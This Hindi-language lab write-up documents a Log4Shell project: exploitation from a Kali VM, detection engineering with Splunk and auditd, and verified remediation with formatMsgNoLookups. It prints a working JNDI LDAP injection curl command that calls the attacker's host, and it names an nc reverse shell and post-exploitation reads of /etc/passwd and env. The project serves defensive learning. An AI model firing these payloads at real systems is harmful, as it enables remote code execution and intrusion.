हाथों-हाथ परियोजना जो Log4Shell शोषण, Splunk और auditd के साथ डिटेक्शन इंजीनियरिंग, और कंटेनरीकृत वातावरण में सत्यापित उपचार (remediation) का प्रदर्शन करती है।
एक व्यावहारिक आक्रामक और रक्षात्मक सुरक्षा परियोजना जो Log4Shell भेद्यता के पूर्ण जीवनचक्र का अनुकरण करती है: एक हमलावर-नियंत्रित VM से शोषण, Splunk में पहचान इंजीनियरिंग, और सत्यापित उपचार।
इस क्षेत्र में अधिकांश पोर्टफोलियो परियोजनाएँ SSH ब्रूट-फोर्सिंग को कवर करती हैं। मैं कुछ ऐसा चाहता था जो एक अधिक संपूर्ण कौशल सेट प्रदर्शित करे: एक वास्तविक, उच्च-प्रभाव वाले CVE का अंत-से-अंत शोषण, फिर रक्षात्मक पक्ष की ओर मुड़कर उसे पहचानना और उपचार करना, वही जीवनचक्र जो एक सुरक्षा इंजीनियर या पहचान इंजीनियर व्यवहार में अपनाता है।
illshot (192.168.1.85), लॉग अंतर्ग्रहण और पहचान के लिए Splunk को मूल रूप से चला रहा हैghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) एक Docker कंटेनर में चल रहा है, लॉग --log-driver=syslog के माध्यम से Mint के syslog में पाइप किए जा रहे हैं1. लिसनर और शोषण उपकरण सेट करें। रिवर्स शेल कॉलबैक को पकड़ने के लिए Kali पर एक netcat लिसनर शुरू किया, फिर दुर्भावनापूर्ण LDAP पेलोड को सर्व करने के लिए एक स्व-निर्मित JNDI-Injection-Exploit उपकरण (प्रीबिल्ट रिलीज़ अनुपलब्ध होने के कारण स्रोत से निर्मित) लॉन्च किया।
2. शोषण भेजें। पेलोड को JNDI लुकअप स्ट्रिंग युक्त एक क्राफ्टेड HTTP हेडर के माध्यम से वितरित किया, जो पोर्ट 8080 पर भेद्य अनुप्रयोग को लक्षित करता है।
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'
3. शेल पकड़ें। भेद्य अनुप्रयोग ने हेडर को पार्स किया, JNDI लुकअप को ट्रिगर किया, और दुर्भावनापूर्ण क्लास को लाने और निष्पादित करने के लिए मेरी Kali मशीन तक पहुँचा, जिसके परिणामस्वरूप कंटेनर के अंदर root के रूप में चलने वाला एक रिवर्स शेल प्राप्त हुआ।
शोषण-पश्चात टोह (जैसा एक वास्तविक हमलावर करेगा): root पहुँच की पुष्टि की, पर्यावरण चरों की समीक्षा की (स्वच्छ, कोई लीक हुई गोपनीय जानकारी नहीं), अनुप्रयोग jar का निरीक्षण किया, और /etc/passwd की समीक्षा की, जिससे अप्रयुक्त Alpine बेस-इमेज सेवा खातों का एक सेट उजागर हुआ, जो एक भ्रामक टोह आर्टिफैक्ट का अच्छा उदाहरण है जो वास्तविक हमले की सतह को प्रतिबिंबित नहीं करता।
Splunk, Mint के syslog को अंतर्ग्रहित करते हुए, पूरी शोषण श्रृंखला को कैप्चर करता है: प्रारंभिक JNDI लुकअप अनुरोध, परिणामी NamingException और ClassCastException स्टैक ट्रेस, और होस्ट स्तर पर कंटेनर के साथ इंटरैक्ट करने के लिए उपयोग किए गए संबद्ध sudo docker exec कमांड।
शोषण से पहले टोह भी दिखाई दे रही थी: UFW फ़ायरवॉल लॉग ने लक्ष्य के विरुद्ध Kali से Nmap स्कैन ट्रैफ़िक को कैप्चर किया।
इस परियोजना का एक प्रमुख तकनीकी निष्कर्ष: एक कच्चा nc -e /bin/sh रिवर्स शेल कभी भी PAM के माध्यम से प्रमाणित नहीं होता, इसलिए यह auth.log में कोई प्रविष्टियाँ उत्पन्न नहीं करता और कोई लॉगिन सत्र नहीं बनाता। अपने आप में, यह इस प्रकार के शेल को मानक लॉगिन-आधारित लॉगिंग के लिए अदृश्य बना देगा।
हालाँकि, Docker कंटेनर पूरी तरह से पृथक वर्चुअलाइज़्ड कर्नेल चलाने के बजाय होस्ट के कर्नेल को साझा करते हैं। इसका मतलब है कि कंटेनर के अंदर हर execve (प्रक्रिया निष्पादन) अभी भी होस्ट के ऑडिट सबसिस्टम को दिखाई देता है। मैंने Mint पर auditd को सिस्टम-व्यापी execve syscalls देखने के लिए कॉन्फ़िगर किया, नियम को टैग किया (container_exec), और /var/log/audit/audit.log को एक नए इनपुट के रूप में Splunk में फीड किया।
शोषण को फिर से ट्रिगर करना और शोषण-पश्चात कमांड (whoami, cat /etc/passwd, ls /app, env) चलाना सिद्धांत की पुष्टि करता है: auditd ने हर कमांड को कैप्चर किया, जिसमें कच्चा nc रिवर्स-शेल आह्वान भी शामिल है, जिसमें हमलावर का IP और पोर्ट सीधे लॉग किए गए तर्कों में दिखाई देता है।
व्यापक शोषण-पश्चात गतिविधि भी पूरी तरह से दिखाई दे रही थी, जो /bin/busybox के अंतर्गत चल रही थी (कंटेनर का न्यूनतम शेल अधिकांश Unix टूल्स को एक एकल BusyBox बाइनरी के सिमलिंक के रूप में लागू करता है, इसलिए comm busybox दिखाता है जबकि exe अभी भी पूर्ण पथ को हल करता है):
एक अतिरिक्त विवरण ध्यान देने योग्य है: हर कैप्चर किए गए इवेंट ने auid=4294967295 (अनसेट/कोई लॉगिन सत्र नहीं) को uid=0 (root) के साथ युग्मित दिखाया। यह संयोजन स्वयं एक गैर-प्रमाणित शेल का मजबूत प्रमाण है, एक प्रक्रिया जो पूर्ण root विशेषाधिकारों के साथ चल रही है लेकिन बिना किसी ऑडिट लॉगिन ID के, बिल्कुल वही जो आप एक ऐसे शेल से उम्मीद करेंगे जिसने सामान्य प्रमाणीकरण को पूरी तरह से दरकिनार कर दिया।
उपयोग किए गए प्रमुख पहचान क्वेरी:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Apache और CISA द्वारा पैच किए गए Log4j रिलीज़ से पहले प्रकाशित आधिकारिक अंतरिम शमन लागू किया गया: JVM सिस्टम प्रॉपर्टी के माध्यम से JNDI संदेश लुकअप को अक्षम करना।
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
उपचार के बाद बिल्कुल वही शोषण श्रृंखला दोबारा आज़माने से सुधार की पुष्टि हुई: अनुरोध अभी भी आया और लॉग किया गया, लेकिन JNDI लुकअप का कभी मूल्यांकन नहीं हुआ, कोई कॉलबैक नहीं, कोई स्टैक ट्रेस नहीं, कोई शेल नहीं।
यह तुलना परियोजना का सबसे स्पष्ट प्रमाण है: मूल हमले ने 136+ संबंधित लॉग इवेंट और एक सफल कॉलबैक के साथ एक पूर्ण शोषण श्रृंखला उत्पन्न की। उपचार के बाद, समान हमला बिना किसी डाउनस्ट्रीम लुकअप गतिविधि के एक एकल सौम्य लॉग लाइन उत्पन्न करता है।
गहराई-में-रक्षा के लिए ध्यान देने योग्य: शोषण प्रयास उपचार के बाद भी लॉग में दिखाई देता रहा। पहचान का मूल्य एक बार भेद्यता पैच हो जाने पर गायब नहीं होता, एक पैच किया गया सिस्टम जो बाद में गलत कॉन्फ़िगर किया जाता है, या एक वैरिएंट पेलोड, अभी भी यहाँ बनाए गए समान पहचान क्वेरी द्वारा पकड़ा जाएगा।